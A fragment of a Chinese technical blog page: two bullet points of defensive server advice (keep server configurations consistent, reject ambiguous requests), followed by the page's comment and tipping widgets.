  • 确保连接中的所有服务器具有相同的配置
  • 拒绝有二义性的请求
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值